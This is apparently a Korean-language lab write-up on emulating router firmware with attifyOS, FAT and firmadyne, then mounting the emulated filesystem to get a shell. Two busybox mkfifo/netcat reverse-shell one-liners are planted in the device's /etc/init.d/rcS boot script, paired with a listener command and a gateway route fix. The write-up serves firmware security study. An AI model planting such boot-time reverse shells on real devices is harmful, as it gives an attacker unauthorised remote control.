attifyOS는 IoT 보안, 분석을 위해 구성된 OS이다.
attifyOS 안에는 binwalk 뿐만 아니라 FAT등 관련 도구들이 미리 설치되어있기 때문에 attifyOS를 사용하기로 결정
첫 번째로 최신 버전인 attifyOS4를 vmware를 이용해 빌드했다.
하지만 왜 인지 FAT가 없었고 직접 FAT를 다운받고 FAT를 설치했으나 fat.py도 리눅스 환경과 동일하게 중간에 멈추었고 FAT 폴더 내부에 firmadyne도 없었다.

따라서 attifyOS3로 진행

firmadyne은 FAT에 포함된 에뮬레이션 도구로, 각종 스크립트를 사용해 펌웨어 분석을 용이하게 할 수 있다.
일반적으로 에뮬레이션에서 성공해도 router user에 대한 credential이 없으면 셸을 획득할 수 없다. 따라서 리버스셸을 통해 셸 획득을 진행
일반적으로 router는 부팅 시 /etc/init.d/rcS 파일을 실행하여 시스템을 초기화한다.(rcS - Run Command System-wide)
따라서 rcS 파일에 리버스셸을 삽입하기 위해서(파일시스템을 수정하기 위해서) 에뮬레이팅한 환경을 mount 해준다.


firmadyne 폴더에서 sudo scritps/mount.sh {image-id} 를 사용해 mount 할 수 있다.
{image-id}는 fat.py를 실행시킬 때 확인할 수 있다.(여기서는 1)
그렇게 mount 한 파일시스템은 firmadyne/scratch/{image-id}/image 에 존재한다.

사용 가능한 명령어가 굉장히 많다.
rcS 파일에 삽입할 리버스셸
busybox-mipsel mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | busybox-mipsel nc 192.168.0.6 4444 > /tmp/f
nc -lnvp 4444
ifconfig
busybox-mipsel iproute
br0 Link encap:Ethernet HWaddr 00:E0:4C:81:96:C1
inet addr:192.168.1.254 Bcast:192.168.1.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:4 errors:0 dropped:0 overruns:0 frame:0
TX packets:6 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:224 (224.0 B) TX bytes:468 (468.0 B)
eth0 Link encap:Ethernet HWaddr 00:E0:4C:81:96:C1
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:4 errors:0 dropped:0 overruns:0 frame:0
TX packets:12 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:280 (280.0 B) TX bytes:936 (936.0 B)
eth1 Link encap:Ethernet HWaddr 00:E0:4C:81:96:C9
UP BROADCAST RUNNING MULTICAST MTU:1492 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:4 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:1348 (1.3 KiB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
192.168.1.0/24 dev br0
default gateway가 없기 때문에 attifyOS와 통신을 할 수 없음

attifyOS에서 에뮬레이팅하면서 tap 네트워크 인터페이스가 생성되었기 때문에 해당 주소를 gateway로 추가해주면서 리버스셸 다시 진행
rcS에 추가된 명령어
route add default gw 192.168.1.253 br0
busybox-mipsel mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | busybox-mipsel nc 192.168.0.5 4444 > /tmp/f

umount -l /path/to/FAT/firmadyne/scratch/{image-id}/image

